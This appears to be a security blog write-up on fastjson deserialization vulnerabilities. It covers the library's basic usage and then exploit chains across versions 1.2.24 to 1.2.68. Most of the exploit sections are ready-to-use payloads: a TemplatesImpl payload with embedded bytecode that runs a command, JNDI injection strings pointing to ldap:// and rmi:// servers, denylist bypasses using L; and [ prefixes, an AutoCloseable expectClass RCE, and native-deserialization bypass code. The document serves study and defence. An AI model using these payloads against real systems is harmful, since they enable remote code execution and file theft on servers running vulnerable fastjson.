FastJsonSec
Introduction
fastjson is a open source JSON parsing library, which supports serializing Java beans to JSON strings, and also deserializing from JSON strings to JavaBeans.
Basic Usage
1 | <dependency> |
POJO => JSON
1 | import java.util.Map; |
1 | public class main { |
Output:
1 | Construct Method |
Here the SerializerFeature.WriteClassName means the output json will write the class name in the field @type
@type
specifies the class to deserialize and calls its getter/setter/is methods.
JSON => POJO
JSON.parseObject with target class
1 | public class main { |
Output:
1 | Construct Method |
JSON.parseObject without target class
1 | public class main { |
Output:
1 | Construct Method |
JSON.parse
1 | public class main { |
Output
1 | Construct Method |
Feature
- Here the Feature.SupportNonPublicField means the private variables don’t have a setter method, but we still want to assign a value to the variable when deserializing it.
JSON.parse(text)
andJSON.parseObject(text, Type)
will return the original object and only call the setter methods.JSON.parseObject(text)
will return a JSONObject, and call the setter and getter methods.- If the Field type is
byte[]
, it will call base64 decoding. - When fastjson is looking for a get/set method for a class attribute, it will ignore the
_|-
characters.
Vulnerability Principles
Fastjson will call setter/getter methods that meet the following requirements:
setter
- Non-static method
- The return type is void or the current class
- only one argument
getter
- Non-static method
- No argument
- The return value type is inherited from Collection or Map or AtomicBoolean or AtomicInteger.
FastJson 1.2.22~1.2.24 Exploit
ENV
- jdk8u65
- Fastjson 1.2.24
TemplateImpl
In TemplateImpl#getTransletInstance
, we can call then defineTransletClasses
to load the evil class.
However, the getter getTransletInstance
seems not to be a valid method.
So let’s check the usage and we can find a gadget chain to call this method:
1 | getOutputProperties()->newTransformer->getTransletInstance() |
Besides, the getter getOutputProperties
is a valid method.
So let’s try to write a exp
1 | String exp = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMY2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAANkb20BAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAJAAoHAC4MAC8AMAEAEm9wZW4gLWEgY2FsY3VsYXRvcgwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAEY2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAMAAkAEAAMAA4ADQAPABEAEQANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj\"],\"_name\":\"P3ngu1nW\",\"_tfactory\":{ },\"_outputProperties\":{ }}"; |
JdbcRowSetImpl
RMI(before jdk8u113)
Just like JNDI, in JdbcRowSetImpl#connect
we will call the lookup
method.
therefore, there is another chain we can exploit.
1 | public static void main(String[] args) throws Exception{ |
LDAP(before jdk8u191)
1 | public static void main(String[] args) throws Exception{ |
bypass jdk limit
We need to modify the server side and use the same way in the JNDI Injection.
FastJson 1.2.25~1.2.41 Exploit
FastJson1.2.25 introduced checkAutoType
, and default off autoTypeSupport
, so it can not deserialize any class. Even if AutoType
is turned on, there is a built-in blacklist to prevent malicious deserialization. fastjson also provides an interface to add a blacklist.
Enable autoTypeSupport
: ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
When autoTypeSupport
is enabled, the whitelist is checked first, and if it hits, the class is loaded directly, and then the blacklist is checked.
denylist
Bypass
use L
and ;
1 | String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}"; |
First, Lcom.sun.rowset.JdbcRowSetImpl;
is not in the blacklist, so it can pass the check.
In TypeUtils#loadClass
, if a class start with L
and end with ;
, it will load the class among them.
FastJson 1.2.25~1.2.42 Exploit
Starting with version 1.2.42, Fastjson has changed the blacklist from plaintext to a hashed blacklist.
we can use the double L
and double ;
to bypass
1 | String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}"; |
FastJson 1.2.25~1.2.43 Exploit
This version checks that an exception is thrown if the class name begins with LL
So we can use [
to bypass
1 | String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, {\"DataSourceName\": \"ldap://127.0.0.1:8099/remoteObj\", \"AutoCommit\":true}"; |
FastJson 1.2.25~1.2.45 Exploit
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
can bypass the blacklist
require mybatis 3.x.x < 3.5.0
1 | { |
FastJson 1.2.25~1.2.47 Exploit (Bypass AutoType)
1 | public class JdbcRowSetImplPoc { |
In ParserConfig#checkAutoType
, we can see if we don’t enable the autoTypeSupport
and the target class is not in the whitelist, we will first call the TypeUtils.getClassFromMapping
to fetch the class.
if we deserialize a Class.class
and set another class into the field val
, we will load the class, and put it into the map.
so we can bypass the blacklist and without the autoTypeSupport
The fix in 1.2.48 is to set the cache switch to False by default when loadingClass(), so by default it’s not possible to load into the cache via Class. Also added Class class to the blacklist.
FastJson 1.2.5~1.2.59 Exploit
Need AutoType
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
FastJson 1.2.5~1.2.60 Exploit
Do not need AutoType
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
FastJson 1.2.62 Exploit
need autotype
the target should have the xbean-reflect
package
Another JNDI Injection
1 | String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," + |
FastJson 1.2.66 Exploit
need autotype
Another JNDI Injection
1 | {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]} |
1 | {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
1 | {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}} |
FastJson 1.2.67 Exploit
need autotype
Another JNDI Injection
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}} |
FastJson 1.2.68 Exploit (Using expectClass Bypass AutoType)
payload
1 | {"@type":"java.lang.AutoCloseable","@type":"VulAutoCloseable","cmd":"open -a calculator"} |
VulAutoCloseable
is our malicious class that implements the AutoCloseable
interface.
1 | public class VulAutoCloseable implements AutoCloseable { |
The first @type
is used as the expectClass inside the second specified class.
Code Analysing
Let’s enter into the checkAutoType
.
Here check the exceptClass.
Finally we get the class java.lang.AutoCloseable
from the mappings.
And return the class.
Next time, we enter into the checkAutoType
, we have a expectClass
Therefore, expectClassFlag = true
And here we read the target class into the memory.
And here we load the target class.
Our evil class has been put into the map.
And we finally deserialize the target class and RCE.
Realworld Exploit
We can use this trick to read any file.
https://b1ue.cn/archives/506.html
FastJson with Native Deserialization
FastJson <= 1.2.48
In Fastjson, JSONArray
and JSONObject
both implement the Serializable interface, and the toString
method of both classes can trigger a call toJSONString
So there exists an interesting chain:
1 | toString(e.g. BadAttributeValueExpException#readObject) -> toJSONString -> evil getter(e.g. TemplatesImpl#getOutputProperties) |
1 | public class main { |
FastJson >= 1.2.49
In the new version of FastJson, JSONArray
and JSONObject
both implement their own readObject
method, customize a SecureObjectInputStream
and override the resolveClass
method, which calls checkAutoType
to check the black and white list of deserialized classes.
Is this way really safe? The answer is no.
In the realworld, we often use the following way to protect from the Deserialization attack:
1 | 1. Write Our Own InputStream |
However, fastjson use another way to protect from the Deserialization attack:
1 | 1. Use the normal ObjectInputStream |
In ObjectInputStream#readObject0
, we can find a way to by pass the resolveClass
If we pass a Reference Object, the Object will not be checked by resolveClass
So when the same object is added to a List
, set
, or map
type, it can be successfully utilized.
1 | public class main { |
Reference
https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjsonbasic
https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjson_templatesimpl
https://p4d0rn.gitbook.io/java/serial-journey/fastjson/fastjson_jdbcrowsetimpl
https://drun1baby.top/2022/08/04/Java反序列化Fastjson篇01-Fastjson基础/
https://drun1baby.top/2022/08/06/Java反序列化Fastjson篇02-Fastjson-1-2-24版本漏洞分析/
https://drun1baby.top/2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/
https://drun1baby.top/2022/08/13/Java反序列化Fastjson篇04-Fastjson1-2-62-1-2-68版本反序列化漏洞/
https://paper.seebug.org/2055/
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson与原生反序列化-二/